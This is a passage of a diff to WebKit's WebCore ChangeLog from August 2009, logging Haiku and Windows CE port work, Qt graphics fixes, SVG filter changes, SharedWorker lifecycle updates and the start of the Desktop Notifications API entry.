+        (WebCore::GraphicsContext::setPlatformShouldAntialias):
+        (WebCore::GraphicsContext::setImageInterpolationQuality):
+        (WebCore::GraphicsContext::setURLForRect):
+        (WebCore::GraphicsContext::setPlatformFont):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::getHaikuStrokeStyle):
+        (WebCore::GraphicsContext::setPlatformStrokeStyle):
+        (WebCore::GraphicsContext::setPlatformStrokeThickness):
+        (WebCore::GraphicsContext::setPlatformFillColor):
+        (WebCore::GraphicsContext::clearPlatformShadow):
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Modifying WebCore/platform/graphics files to allow Haiku port.
+        https://bugs.webkit.org/show_bug.cgi?id=28128
+
+        * platform/graphics/BitmapImage.h: Adding getBBitmap() function.
+        * platform/graphics/Color.h: rgb_color is the Color struct in Haiku.
+        * platform/graphics/FloatPoint.h: BPoint is the Point class in Haiku.
+        * platform/graphics/FloatRect.h: BRect is the Rect class in Haiku.
+        * platform/graphics/GraphicsContext.cpp: 
+        * platform/graphics/GraphicsContext.h: BView is the PlatformGraphicsContext
+        class for Haiku. Adding getHaikuStrokeStyle() function.
+        * platform/graphics/Icon.h: Adding an empty Icon() constructor because
+        this class isn't implemented for the moment.
+        * platform/graphics/ImageSource.h: BBitmap is the native bitmap class 
+        for Haiku.
+        * platform/graphics/IntPoint.h: BPoint is the Point class in Haiku.
+        * platform/graphics/IntRect.h: BRect is the Rect class in Haiku.
+        * platform/graphics/IntSize.h: BSize is the Size class in Haiku.
+        * platform/graphics/Path.h: BRegion is the Path class in Haiku.
+        * platform/graphics/Pattern.h: Adding the GraphicsDef.h header and the 
+        native pattern type.
+        * platform/graphics/SimpleFontData.h: Adding Haiku's Font.h header.
+
+2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding modification to the WebCore/platform/ files to allow
+        the Haiku port.
+        https://bugs.webkit.org/show_bug.cgi?id=28128
+
+        * platform/ContextMenuItem.h: BMenu is the PlatformMenuItemDescription
+        class of Haiku.
+        * platform/Cursor.h: BCursor is the Cursor class of Haiku.
+        * platform/DragData.h: Use a BMessage as DragDataRef.
+        * platform/DragImage.h: Use a BBitmap as DragImageRef.
+        * platform/PlatformKeyboardEvent.h: Use BMessage as event vehicle.
+        * platform/PlatformMenuDescription.h: BMenu is the 
+        PlatformMenuDescription class of Haiku.
+        * platform/PlatformMouseEvent.h: Use BMessage as event vehicle.
+        * platform/PlatformWheelEvent.h: Use BMessage as event vehicle.
+        * platform/PopupMenu.h: Adding a m_menu attribute for Haiku.
+        * platform/Widget.h: BView is the PlatformWidget class of Haiku.
+
+2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Tiny modifications on WebCore files to allow Haiku port.
+        https://bugs.webkit.org/show_bug.cgi?id=28128
+
+        * bindings/js/ScriptControllerHaiku.cpp: Style cleanup.
+        * loader/CachedFont.cpp: Haiku behaves like Qt, Gtk, or Chromium,
+        so many PLATFORM(HAIKU) were added to these functions.
+        (WebCore::CachedFont::~CachedFont):
+        (WebCore::CachedFont::ensureCustomFontData):
+        (WebCore::CachedFont::platformDataFromCustomData):
+        (WebCore::CachedFont::allClientsRemoved):
+        * page/EventHandler.cpp: Like the mac and Qt port, Haiku doesn't need the
+        invertSenseOfTabsToLinks() function.
+        * page/haiku/DragControllerHaiku.cpp: Style cleanup.
+        * platform/image-decoders/ImageDecoder.h: For image decoding Haiku
+        behaves like Cairo or Wx, (not like Skia).
+        (WebCore::RGBA32Buffer::getAddr):
+        * platform/text/PlatformString.h: Adding the String(BString&) and BString()
+        methods specific to Haiku.
+        * platform/text/UnicodeRange.h: Haiku needs to include stdint.h.
+        * platform/text/haiku/TextBreakIteratorInternalICUHaiku.cpp:
+        (WebCore::currentSearchLocaleID): Missing function.
+
+2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding the ScrollbarTheme files.
+        https://bugs.webkit.org/show_bug.cgi?id=28125
+
+        * platform/haiku/ScrollbarThemeHaiku.cpp: Added.
+        (buttonWidth):
+        (WebCore::ScrollbarTheme::nativeTheme):
+        (WebCore::ScrollbarThemeHaiku::ScrollbarThemeHaiku):
+        (WebCore::ScrollbarThemeHaiku::~ScrollbarThemeHaiku):
+        (WebCore::ScrollbarThemeHaiku::scrollbarThickness):
+        (WebCore::ScrollbarThemeHaiku::hasButtons):
+        (WebCore::ScrollbarThemeHaiku::hasThumb):
+        (WebCore::ScrollbarThemeHaiku::backButtonRect):
+        (WebCore::ScrollbarThemeHaiku::forwardButtonRect):
+        (WebCore::ScrollbarThemeHaiku::trackRect):
+        (WebCore::ScrollbarThemeHaiku::paintScrollbarBackground):
+        (WebCore::ScrollbarThemeHaiku::paintButton):
+        (WebCore::ScrollbarThemeHaiku::paintThumb):
+        * platform/haiku/ScrollbarThemeHaiku.h: Added.
+
+2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding eight simple files to WebCore/platform/graphics/haiku.
+        https://bugs.webkit.org/show_bug.cgi?id=28122
+
+        * platform/graphics/haiku/ColorHaiku.cpp: Added.
+        (WebCore::Color::Color):
+        (WebCore::Color::operator rgb_color):
+        (WebCore::focusRingColor):
+        * platform/graphics/haiku/FloatPointHaiku.cpp: Added.
+        (WebCore::FloatPoint::FloatPoint):
+        (WebCore::FloatPoint::operator BPoint):
+        * platform/graphics/haiku/FloatRectHaiku.cpp: Added.
+        (WebCore::FloatRect::FloatRect):
+        (WebCore::FloatRect::operator BRect):
+        * platform/graphics/haiku/GradientHaiku.cpp: Added.
+        (WebCore::Gradient::platformDestroy):
+        (WebCore::Gradient::platformGradient):
+        (WebCore::Gradient::fill):
+        * platform/graphics/haiku/IntPointHaiku.cpp: Added.
+        (WebCore::IntPoint::IntPoint):
+        (WebCore::IntPoint::operator BPoint):
+        * platform/graphics/haiku/IntRectHaiku.cpp: Added.
+        (WebCore::IntRect::IntRect):
+        (WebCore::IntRect::operator BRect):
+        * platform/graphics/haiku/IntSizeHaiku.cpp: Added.
+        (WebCore::IntSize::IntSize):
+        (WebCore::IntSize::operator BSize):
+        * platform/graphics/haiku/PathHaiku.cpp: Added.
+        (WebCore::Path::Path):
+        (WebCore::Path::~Path):
+        (WebCore::Path::operator=):
+        (WebCore::Path::hasCurrentPoint):
+        (WebCore::Path::contains):
+        (WebCore::Path::translate):
+        (WebCore::Path::boundingRect):
+        (WebCore::Path::moveTo):
+        (WebCore::Path::addLineTo):
+        (WebCore::Path::addQuadCurveTo):
+        (WebCore::Path::addBezierCurveTo):
+        (WebCore::Path::addArcTo):
+        (WebCore::Path::closeSubpath):
+        (WebCore::Path::addArc):
+        (WebCore::Path::addRect):
+        (WebCore::Path::addEllipse):
+        (WebCore::Path::clear):
+        (WebCore::Path::isEmpty):
+        (WebCore::Path::debugString):
+        (WebCore::Path::apply):
+        (WebCore::Path::transform):
+        (WebCore::Path::strokeBoundingRect):
+
+2009-08-12  Lyon Chen  <lyon.chen@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: Implement Keygen for WINCE
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/KeygenWince.cpp: Added.
+
+2009-08-12  Brent Fulgham  <bfulgham@webkit.org>
+
+        Rubber-stamped by Kevin Ollivier.
+
+        Handle crash in wx due to null value passed to strlen in
+        the CString constructor.
+
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::certificatePath):  Check for null return from getenv
+        and use default CString constructor instead.
+
+2009-08-12  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        WINCE PORT: simple stubs to make it build for WINCE
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/DragDataWince.cpp: Added.
+        * platform/wince/DragImageWince.cpp: Added.
+        * platform/wince/EditorWince.cpp: Added.
+        * platform/wince/KURLWince.cpp: Added.
+
+2009-08-12  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCEPORT: FileSystem and FileChooser
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/FileChooserWince.cpp: Added.
+        * platform/wince/FileSystemWince.cpp: Added.
+
+2009-08-12  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        WINCE PORT: implement Cursor for WINCE. There's no real cursor on most
+        WinMob devices. We pass the cursor info to application, which so that 
+        can determine what to do.
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/CursorWince.cpp: Added.
+
+2009-08-12  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: MIMETypeRegistry
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/MIMETypeRegistryWince.cpp: Added.
+
+2009-08-12  Joe Mason  <joe.mason@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: Pasteboard and SearchPopupMenu
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/PasteboardWince.cpp: Added.
+        * platform/wince/SearchPopupMenuWince.cpp: Added.
+
+2009-08-12  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: Add SharedTimerWince.cpp and SystemTimeWince.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=27543
+
+        * platform/wince/SharedTimerWince.cpp: Added.
+        * platform/wince/SystemTimeWince.cpp: Added.
+
+2009-08-12  Mark Mentovai  <mark@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28204
+        Allow C+exceptions to be disabled in WebCore's V8 Mac build.
+
+        * WebCorePrefix.h:
+        Only undefine |try| and |catch| when building Objective-C[++],
+        leaving the C+library definitions intact for C++.
+
+2009-08-12  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add a Custom Setter for DOMWindowEvent in the V8 bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=27719
+
+        Tests: fast/events/set-event-in-another-frame.html
+               fast/events/set-event-to-null.html
+
+        * bindings/scripts/CodeGeneratorV8.pm: Clean up custom getter/setter code, 
+            as it currently doesn't support a custom getter 
+            and a v8-specific custom setter simultaneously.
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * page/DOMWindow.idl:
+
+2009-08-12  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Treat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27965
+        Merge wx/ImageSourceWx.cpp into ImageSource.cpp.  No changes to
+        ImageSource.cpp were needed, so this just deletes ImageSourceWx.cpp.
+
+        * WebCore.gypi:
+        * WebCoreSources.bkl:
+        * platform/graphics/wx/ImageSourceWx.cpp: Removed.
+        * webcore-wx.bkl:
+
+2009-08-12  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Dave Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27933
+        Build fix after r47099.
+
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::getImageData):
+        (WebCore::putImageData):
+
+2009-08-08  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        WINCE PORT: Implement Path for WINCE. Most code can be
+        reused for other ports that don't have native path support
+        https://bugs.webkit.org/show_bug.cgi?id=28188
+
+        Written also by George Staikos (including quadCurve() and bezier())
+
+        * platform/graphics/wince/PathWince.cpp: Added.
+        * platform/graphics/wince/PlatformPathWince.cpp: Added.
+        * platform/graphics/wince/PlatformPathWince.h: Added.
+        * platform/graphics/wince/WinceGraphicsExtras.h: Added.
+
+2009-08-12  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        "Double-click to add" new style button does not always show up [quick fix]
+        https://bugs.webkit.org/show_bug.cgi?id=28187
+
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype.updateTitle):
+
+2009-08-12  Crystal Zhang <crystal.zhang@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        WINCE PORT: MediaPlayerProxy and MediaPlayerPrivate
+        https://bugs.webkit.org/show_bug.cgi?id=28178
+
+        * platform/graphics/wince/MediaPlayerPrivateWince.h: Added.
+        * platform/graphics/wince/MediaPlayerProxy.cpp: Added.
+        * platform/graphics/wince/MediaPlayerProxy.h: Added.
+
+2009-08-12  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        HTML 5 database and LocalStorage is not persistent on the Symbian port of QtWebKit
+        https://bugs.webkit.org/show_bug.cgi?id=28175
+
+        Call QDir::toNativeSeparators() before the path is passed to the OS.
+
+        Based on work by David Leong.
+        
+        * platform/qt/FileSystemQt.cpp:
+        (WebCore::pathByAppendingComponent):
+
+2009-08-12  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Ariya Hidayat.
+
+        Minor build-fix for SVG Filter. Use getUnmultipliedImageData instead
+        of getImageData. This changed since r47099.
+
+        * platform/graphics/filters/FEColorMatrix.cpp:
+        (WebCore::FEColorMatrix::apply):
+
+2009-08-12  Viet-Trung Luu  <viettrungluu@gmail.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Explicitly set control tints for Chromium/Mac, since the controls'
+        NSCell(s) lack an NSView and hence their tint isn't updated
+        automatically when the application is activated/deactivated.
+        https://bugs.webkit.org/show_bug.cgi?id=28108
+        http://crbug.com/18199
+
+        * rendering/RenderThemeChromiumMac.mm:
+        (WebCore::updateNSCellControlTint):
+        (WebCore::RenderThemeChromiumMac::paintCheckbox):
+        (WebCore::RenderThemeChromiumMac::paintRadio):
+        (WebCore::RenderThemeChromiumMac::paintButton):
+        (WebCore::RenderThemeChromiumMac::paintMenuList):
+        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
+        (WebCore::RenderThemeChromiumMac::paintSearchField):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldCancelButton):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsButton):
+
+2009-08-12  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix atomic string externalization crash.
+        Atomic string externalization assumes that all non-empty strings
+        can be externalized which is untrue on 64-bit.  This change fixed
+        that.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28215
+
+        This bug causes loads of test crashes, no need to add new tests
+        specifically for this.
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8StringToAtomicWebCoreString):
+
+2009-08-12  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] Fix box-shadow painting in r47103. The edge should not be blurry.
+        Also optimize by not having to save and restore painter state.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::fillRect):
+
+2009-08-12  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Adam Treat.
+
+        [Qt] Fix coding style in GraphicsContextQt.cpp
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::toQtCompositionMode):
+        (WebCore::toQtLineCap):
+        (WebCore::toQtLineJoin):
+        (WebCore::GraphicsContextPlatformPrivate::p):
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::strokeArc):
+        (WebCore::GraphicsContext::drawConvexPolygon):
+        (WebCore::GraphicsContext::pen):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::clipPath):
+        (WebCore::GraphicsContext::drawFocusRing):
+        (WebCore::GraphicsContext::beginTransparencyLayer):
+        (WebCore::GraphicsContext::endTransparencyLayer):
+        (WebCore::GraphicsContext::clearRect):
+        (WebCore::GraphicsContext::setLineCap):
+        (WebCore::GraphicsContext::setLineJoin):
+        (WebCore::GraphicsContext::setMiterLimit):
+        (WebCore::GraphicsContext::setAlpha):
+        (WebCore::GraphicsContext::clipOut):
+        (WebCore::GraphicsContext::clipOutEllipseInRect):
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
+        (WebCore::GraphicsContext::setPlatformStrokeStyle):
+        (WebCore::GraphicsContext::setPlatformStrokeThickness):
+
+2009-08-12  Szabo Carol  <carol.szabo@nokia.com>
+
+        Reviewed by Simon Hausmann and Ariya Hidayat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=23291
+
+        [Qt] Partial support for -webkit-box-shadow. Blur is not support and
+        the shadow still does not go well with border radius.
+
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawRect):
+        (WebCore::GraphicsContext::fillRect):
+
+2009-08-12  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        Use AM_V_GEN in a few more places, for less noisy builds.
+
+        * GNUmakefile.am:
+
+2009-08-12  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        SVG Filter premultiplied color support for getImageDate/putImageData
+        [https://bugs.webkit.org/show_bug.cgi?id=27933]
+
+        Some SVG Filters need premultiplied ImageData for the calculation. Therefore getImageData
+        and putImageData of ImageBuffer need support for premultiplied colors.
+
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::getImageData):
+        (WebCore::CanvasRenderingContext2D::putImageData):
+        * platform/graphics/ImageBuffer.h:
+        (WebCore::):
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (WebCore::getImageData):
+        (WebCore::ImageBuffer::getUnmultipliedImageData):
+        (WebCore::ImageBuffer::getPremultipliedImageData):
+        (WebCore::putImageData):
+        (WebCore::ImageBuffer::putUnmultipliedImageData):
+        (WebCore::ImageBuffer::putPremultipliedImageData):
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::getImageData):
+        (WebCore::ImageBuffer::getUnmultipliedImageData):
+        (WebCore::ImageBuffer::getPremultipliedImageData):
+        (WebCore::putImageData):
+        (WebCore::ImageBuffer::putUnmultipliedImageData):
+        (WebCore::ImageBuffer::putPremultipliedImageData):
+        * platform/graphics/qt/ImageBufferQt.cpp:
+        (WebCore::getImageData):
+        (WebCore::ImageBuffer::getUnmultipliedImageData):
+        (WebCore::ImageBuffer::getPremultipliedImageData):
+        (WebCore::putImageData):
+        (WebCore::ImageBuffer::putUnmultipliedImageData):
+        (WebCore::ImageBuffer::putPremultipliedImageData):
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::getImageData):
+        (WebCore::ImageBuffer::getUnmultipliedImageData):
+        (WebCore::ImageBuffer::getPremultipliedImageData):
+        (WebCore::putImageData):
+        (WebCore::ImageBuffer::putUnmultipliedImageData):
+        (WebCore::ImageBuffer::putPremultipliedImageData):
+        * platform/graphics/wx/ImageBufferWx.cpp:
+        (WebCore::ImageBuffer::getUnmultipliedImageData):
+        (WebCore::ImageBuffer::getPremultipliedImageData):
+        (WebCore::ImageBuffer::putUnmultipliedImageData):
+        (WebCore::ImageBuffer::putPremultipliedImageData):
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::applyMask):
+
+2009-08-12  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Changed Number.bytesToString to support low-resolution output.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28146
+
+        * inspector/front-end/utilities.js:
+        (Number.bytesToString):
+
+2009-08-12  Prasanth Ullattil  <prasanth.ullattil@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add support for hooking BeginPaint/EndPaint on 64Bit Windows
+
+        Webkit uses the runtime patching trick explained by "Feng Yuan" for
+        hooking these paint functions. It currently supports only 32bit assembly
+        code. This patch adds support for 64Bit version. Since inline-assemblies
+        are not supported for 64Bit, we have use a seperate .asm file.
+
+        * WebCore.pro:
+        * plugins/win/PaintHooks.asm: Added.
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::hookedBeginPaint):
+        (WebCore::PluginView::hookedEndPaint):
+        (WebCore::hook):
+
+2009-08-11  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Make it harder to misuse try* allocation routines
+        https://bugs.webkit.org/show_bug.cgi?id=27469
+
+        Add forwarding header for PossiblyNull type, and add missing null check
+        to ImageBuffer creation.
+
+        * ForwardingHeaders/wtf/PossiblyNull.h: Added.
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+
+2009-08-11  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Restrict use of FuncDeclNode & FuncExprNode to the parser.
+        https://bugs.webkit.org/show_bug.cgi?id=28209
+
+        * inspector/JavaScriptDebugServer.cpp:
+        (WebCore::JavaScriptDebugServer::recompileAllJSFunctions):
+            Function signature change.
+
+2009-08-11  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Treat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27965
+        Merge skia/ImageSourceSkia.cpp into ImageSource.cpp.
+
+        * WebCore.gypi: Remove deleted file, plus a file that was deleted a while back.
+        * platform/graphics/ImageSource.cpp:
+        (WebCore::ImageSource::setData): Use slightly shorter syntax.
+        (WebCore::ImageSource::filenameExtension): Use shorter syntax.
+        (WebCore::ImageSource::createFrameAtIndex): Remove redundant call, clarify comments, reject all empty images.
+        (WebCore::ImageSource::frameHasAlphaAtIndex): Clarify comments, use shorter syntax.
+        * platform/graphics/skia/ImageSourceSkia.cpp: Removed.
+
+2009-08-11  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        SharedWorkers do not exit when the last parent document exits
+        https://bugs.webkit.org/show_bug.cgi?id=28170
+
+        Prevents Documents from being suspended/placed in the page cache if they are associated with shared workers.
+
+        Added vector cache instead of nested hash tables for SharedWorker repository.
+
+        Added SharedWorkerRepository::documentDetached API.
+
+        * dom/Document.cpp:
+        (WebCore::Document::detach):
+        Notifies SharedWorkerRepository when the document is closing.
+        * loader/FrameLoader.cpp:
+        Updated FrameLoader to not cache the Document if it is associated with a SharedWorker (since we can't suspend workers yet, we need to shut them down).
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::logCanCacheFrameDecision):
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::create):
+        (WebCore::SharedWorkerProxy::isClosing):
+        Renamed from closing().
+        (WebCore::SharedWorkerProxy::matches):
+        Added manual equality function to replace old hash lookup.
+        (WebCore::SharedWorkerProxy::isDocumentInWorkerDocuments):
+        Checks to see if a document is in the worker's list of documents. Used to determine if page is suspendable.
+        (WebCore::SharedWorkerProxy::SharedWorkerProxy):
+        (WebCore::SharedWorkerProxy::addToWorkerDocuments):
+        Added tracking of the worker's list of documents for lifecycle purposes.
+        (WebCore::SharedWorkerProxy::documentDetached):
+        Shuts down the proxy when the last associated document is detached.
+        (WebCore::SharedWorkerProxy::close):
+        Marks the proxy as closed so it is no longer shared with new instances.
+        (WebCore::SharedWorkerProxy::workerContextDestroyed):
+        Removes the proxy from the repository/frees the proxy when the associated SharedWorkerContext is destroyed.
+        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
+        closing()->isClosing()
+        (WebCore::SharedWorkerRepository::documentDetached):
+        (WebCore::SharedWorkerRepository::hasSharedWorkers):
+        Used by FrameLoader to determine if a page has shared workers and so cannot be suspended/cached.
+        (WebCore::DefaultSharedWorkerRepository::hasSharedWorkers):
+        (WebCore::DefaultSharedWorkerRepository::removeProxy):
+        Invoked by workerContextDestroyed() to remove a SharedWorkerProxy from the repository.
+        (WebCore::DefaultSharedWorkerRepository::documentDetached):
+        (WebCore::DefaultSharedWorkerRepository::connectToWorker):
+        (WebCore::DefaultSharedWorkerRepository::getProxy):
+        * workers/DefaultSharedWorkerRepository.h:
+        * workers/SharedWorkerRepository.h:
+
+2009-08-11  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 28200 - ListMarker should be included as part of the text value to parse
+        https://bugs.webkit.org/show_bug.cgi?id=28200
+
+        When returning text through the marker range attributes, the list marker text should
+        also be included. It isn't included by default because a TextIterator is used which
+        only looks at Nodes for text. A list marker does not have a corresponding node,
+        so its text is not returned through accessibility. That is, until now.
+
+        Test: platform/mac/accessibility/string-range-contains-listmarker.html
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::listMarkerTextForRange):
+        (WebCore::AccessibilityObject::stringForVisiblePositionRange):
+        * accessibility/AccessibilityObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper doAXAttributedStringForTextMarkerRange:]):
+        (-[AccessibilityObjectWrapper accessibilityParameterizedAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:forParameter:]):
+        * rendering/RenderListItem.h:
+
+        Make markerText() public so that accessibility code can access it.
+
+2009-08-11  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Treat.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27965
+        Move cairo/ImageSourceCairo.cpp to ImageSource.cpp in preparation for
+        merging most of the other ImageSource*.cpp files with it.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * platform/graphics/ImageSource.cpp: Copied from WebCore/platform/graphics/cairo/ImageSourceCairo.cpp.
+        * platform/graphics/cairo/ImageSourceCairo.cpp: Removed.
+
+2009-08-10  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Adam Roben.
+
+        Cairo-based Windows port does not handle the https protocol.
+        https://bugs.webkit.org/show_bug.cgi?id=28171.
+
+        No new tests needed.  Existing https tests show this failure
+        for WinCairo builds.
+
+        * WebCore.vcproj/WebCoreCURL.vsprops: Add a few preprocessor
+          definitions for SSL support in cURL.
+        * platform/network/curl/ResourceHandleManager.h: Add new
+          certificate path member variable.
+        * platform/network/curl/ResourceHandleManager.cpp:
+        (WebCore::certificateBundlePath): New method to retrieve the
+          proper certificate resource bundle path.
+        (WebCore::ResourceHandleManager::initializeHandle): Check for
+          the resource bundle and use if available to activate SSL
+          support.
+
+2009-08-11  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Use Clipboard::create() instead of the constructor of Clipboard.
+        https://bugs.webkit.org/show_bug.cgi?id=28127
+
+        * editing/haiku/EditorHaiku.cpp:
+        (WebCore::Editor::newGeneralClipboard):
+        * page/haiku/EventHandlerHaiku.cpp:
+        (WebCore::EventHandler::passWheelEventToWidget):
+        (WebCore::EventHandler::createDraggingClipboard):
+        * platform/haiku/ClipboardHaiku.cpp: Style cleanup. There were many whitespace end of lines.
+        (WebCore::ClipboardHaiku::ClipboardHaiku):
+        (WebCore::ClipboardHaiku::clearAllData):
+        (WebCore::ClipboardHaiku::getData):
+        (WebCore::ClipboardHaiku::setData):
+        (WebCore::ClipboardHaiku::types):
+        (WebCore::ClipboardHaiku::dragLocation):
+        (WebCore::ClipboardHaiku::dragImage):
+        (WebCore::ClipboardHaiku::setDragImage):
+        (WebCore::ClipboardHaiku::dragImageElement):
+        (WebCore::ClipboardHaiku::createDragImage):
+        (WebCore::ClipboardHaiku::declareAndWriteDragImage):
+        (WebCore::ClipboardHaiku::writeURL):
+        (WebCore::ClipboardHaiku::writeRange):
+        (WebCore::ClipboardHaiku::hasData):
+        * platform/haiku/DragDataHaiku.cpp:
+        (WebCore::DragData::createClipboard):
+
+2009-08-11  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by NOBODY (build break).
+
+        Speculative GTK build fix
+
+        * GNUmakefile.am:
+        Added missing .idl file, and added notifications directory to IDL_PATH.
+
+2009-08-11  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by NOBODY (build break).
+
+        Speculative Windows build fix
+
+        * WebCore.vcproj/WebCore.vcproj:
+        Added missing build steps for non-debug targets.
+
+2009-08-11  Drew Wilson <atwilson@google.com>
+
+        Reviewed by NOBODY (build break)
+
+        Speculative build fix for Qt build.
+
+        * WebCore.pro: Added /notifications to include path
+
+2009-08-11  John Gregg  <johnnyg@google.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Desktop Notifications API
+        https://bugs.webkit.org/show_bug.cgi?id=25463
+
+        Adds an implementation of desktop notifications, behind the compile-time
+        flag ENABLE(NOTIFICATIONS).  This code simply relays calls on the JavaScript
+        API through a NotificationProvider interface, which must provide the services
+        to actually notify the user and manage the desktop.  This provider is injected
+        into WebKit through the ChromeClient for normal page contexts and through the
+        WorkerThread for worker contexts.
+
+        A permissions API is defined on a per-origin basis, which allows a web page
+        to check if its origin is allowed to show desktop notifications, and to request
+        permission for its origin.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
